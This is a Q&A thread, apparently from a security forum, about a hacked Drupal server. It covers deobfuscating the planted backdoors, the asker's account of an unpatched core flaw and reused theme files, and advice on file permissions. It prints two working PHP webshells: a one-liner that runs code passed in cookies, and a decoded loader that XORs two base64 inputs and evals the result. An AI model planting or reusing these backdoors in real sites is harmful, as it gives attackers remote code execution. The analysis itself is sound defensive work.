Drupal server compromised - I want to investigate the attack technique / compromise

Question

I've got a drupal site running on an up to date CentOS 7 LAMP AWS EC2 instance (freshly installed a couple of months ago) and I've just found out that somehow, probably through a poorly coded 3rd party module downloaded from drupal site and installed without the proper revision, some hacker managed to push what looks like a remote access tool in the site's root directory.

I've also found some obfuscated PHP scripts inside the sites/default folder. I've tried running them through http://www.unphp.net/ but no luck, they all look like rubbish:

http://www.unphp.net/decode/7f42bdb7c2a96a090a9ec4fdbb1e10a1/

So far, apart from these PHP files, everything seems in place, but it bothers me that I don't even know what they do.

Just this one translation-main, seems pretty clear that it is executing code from cookies:

<?php if(@$_COOKIE['ox']){$blft=$_COOKIE['ox']("",@$_COOKIE['mwov'](@$_COOKIE['lks']));$blft();}?>

What should I do now? Is there any way I can deobfuscate the code and monitor the hacker(s) activity? I am more interested in learning from this case as much as I can than in securing my server as soon as possible, since there is nothing private or valuable on it.

How this question is different:

I don't care about securing my data

I don't care about finding the attacker

I don't have clients to notify

The passwords and certificates I have used on this server are unique for the server and I have not logged onto any other server from it.

I don't need to stop any hacker, or even disconnect my server from the Internet. I have done it just in case, at least until I have examined the server in detail and concluded I can monitor any further activity, or decided I just have to reinstall.

I have specifics from the kind of attack. It's not: Oh no! Somebody did something in my server! It is: somebody put THIS in my server and I know it is a remote access tool and I have been trying to learn more about it but I am stuck. Can anybody help me figure out how to learn more about it?

Answer 1

These kinds of back-doors are polymorphic, that is they are designed to look different every time - in practice it's a waste of time trying to decipher them because they all do exactly the same thing.

They take external input and they execute it.

It might take input from a cookie or a post variable, and it might try and set some PHP options to prevent errors being displayed or logged, but the end goal is always the same. They take external input and they execute it.

What should I do now?

You should proceed to clean up your server, patch the vulnerability and move on.

since there is nothing private or valuable on it

If that's the case then I strongly encourage you to terminate the instance and spin up a new clean one.

I am more interested in learning from this case as much as I can

I doubt there'll be anything significant to learn or which would help you prevent the same thing happening in future. At best you'll end up seeing some generic code to send Viagra spam, at worst you'll end up hosting something like a phishing page.

Unless you can be very very sure that their code is isolated I wouldn't unnecessarily give them any opportunity to run code on your system. At the least AWS is likely to place restrictions on your account if they detect spam coming from one of your instances.

TLDR; It's not worth it. It'll just execute code remotely and they'll use it to send spam. Replace the instance with a fresh one ASAP.

---

If you really want to know what this specific code does then the process of deobfuscating them is always the same.

1. Run the code through a code formatter
2. Find all the function calls, eg. you can see $amwve = $zgxovk($xeyb, $wbjo); is a function call.
3. Replace the function call line with an echo for each variable followed by an exit();
4. Repeat this process as you work your way through the script figuring out what each of the variables hold at each step. Most of the variables will be superfluous and just there to confuse you.
5. Eventually you'll find the bit which contains the actual code to take input and execute it.

Always do this in an isolated environment, I'd recommend an online PHP interpreter. You may have to remove a few function calls which are blocked such as ini_set.

In your case, if you get down to $wbjo and echo it you'll get this:

$bzg = (!empty($_FILES["imi"])) ? file_get_contents($_FILES["imi"]["tmp_name"]) : $_COOKIE["imi"];
$qnlzja = (!empty($_FILES["vfsm"])) ? file_get_contents($_FILES["vfsm"]["tmp_name"]) : $_COOKIE["vfsm"];
$pjgtk = base64_decode($bzg) ^ base64_decode($qnlzja);
@eval($pjgtk);

Which as you can see is taking two base64 encoded files, XORing them then eval'ing the result. The XORing is just so that firewalls and WAFs have a harder time identifying that the file being uploaded is malicious.

Answer 2

TL;DR:

It was a 2014-Oct-15 drupal core highly critical vulnerability that I patched too late and at the moment I missed on the severity of the issue and I didn't perform the proper checks to assess the server hadn't been compromised. The hack propagated from theme files copied from the decommissioned server backup instead of freshly downloaded from Drupal's site themes section. I got to this conclusion by reviewing database, web server and system logs, comparing database and drupal backups, reading drupal's core and extensions security advisory bulletins, and analyzing the RAT thanks to the tips provided by texacre.

OK I am very ashamed to admit this, but it now seems clear what happened.

As it usually happens with this things it was not a 0 day exploit but a critical update applied too late:

I was running another Drupal server I was using to test my projects on the wild until last December.

I was keeping it up to date with daily checks every time I logged in, but around november I was too busy at work and missed on a highly critical update: https://www.drupal.org/SA-CORE-2014-005

Only 7 hours after the announce the Drupal team was warning users that there were already privilege escalation exploits allowing to take over any non patched server running Drupal 7 or 8.

Somehow this warning didn't get to me, and 11 days later I saw the typical message "there is an update available", and updated without even read what the update was about. Since I was already hacked, it is probably not a coincidence that I was not shown any huge warning sign telling me how important this update was (Or maybe the update service doesn't provide a good enough mechanism for telling you what to do when you are updating a system that might have already been compromised...)

Anyhow, I did not even think about it any more since a couple of weeks later I decided to upgrade my EC2 plan, backed up this instance and turned it off for good to replace it with a new one.

Now fast forward until two months ago when I set up this new server:

I started it fresh (new drupal core and everything), but dropped in the theme files from the old one, instead of bothering to download the theme again. The first routine audit I performed on this server gave up the clues to find out the RAT code which led me to post this question on the first place.

And that's the story on how I set up and run for two months a hacked Drupal server for the pleasure of some spammer (from the logs it seems that was the main purpose of the attack, although no spam emails were sent because the AWS security group policy I always set up for the instances I run was preventing it).

So, let this be a reminder to anyone that they should find and subscribe to the security advisories bulletin of their CMS / framework / distro or whatever other technology they are using on a server, specially a public access one.

(Which I am, by the way, although since there are more than another 30 RSS feeds I totally missed this advisory until it was too late)

So I guess the lessons for me here are:

• It is not enough to log in and check for updates: the CMS must be configured to send you an email to your main account when there is a critical one (I set up a secondary account for that and didn't set a filter to auto forward those messages to my main account, which would have taken 5 extra minutes and would have saved me from all this trouble)
• To be more organized with my RSS feed and expeditive on my updates.
• To always check for intrusions after critical vulnerabilities are announced
• To always assume the system is compromised if exploits are on the wild before patching
• Fresh means fresh: don't drop theme files from the old instance backup and call it fresh!

Answer 3

I had seen a similar attack previously on a server of a client of mine.

The attacker found some vulnerability which allows the uploading of some files. Others mentioned some potential vulnerabilities.

From your description the attacker was able to write with the webserver user into your web root directory.This should not be the case when your server is configured properly. To protect you from further attacks you need to change the server setup.

From my experience the Apache server is only able to write in the web root directory:

• When you explicitly set the permissions in the root directory to 0777 or
• when you run the webserver with the same user as you write the PHP files (e.g. the owner of the web directory is the same user as the user of the running webserver).

To prevent similar attacks I recommend you to use a separate user for the webserver and the user who uploads the Drupal files. Typically you run the Apache server with the user www-data and you create at least one separate user for uploading the files. I also recommend to set the permissions in the web directory to 0755.

Some directories requires write permissions for uploading files. However in those directories you should add .htaccess file which prevents the execution of any uploaded files. This way even an attacker is able to upload a file he / she is not able to execute it.

The .htaccess could like this:

Order deny,allow
Deny from all
<Files ~ "\.(gif|jpg|png)$">
   order allow,deny
   allow from all
</Files>

This .htaccess allows only gif, jpg and png to be loaded over the browser for the current directory.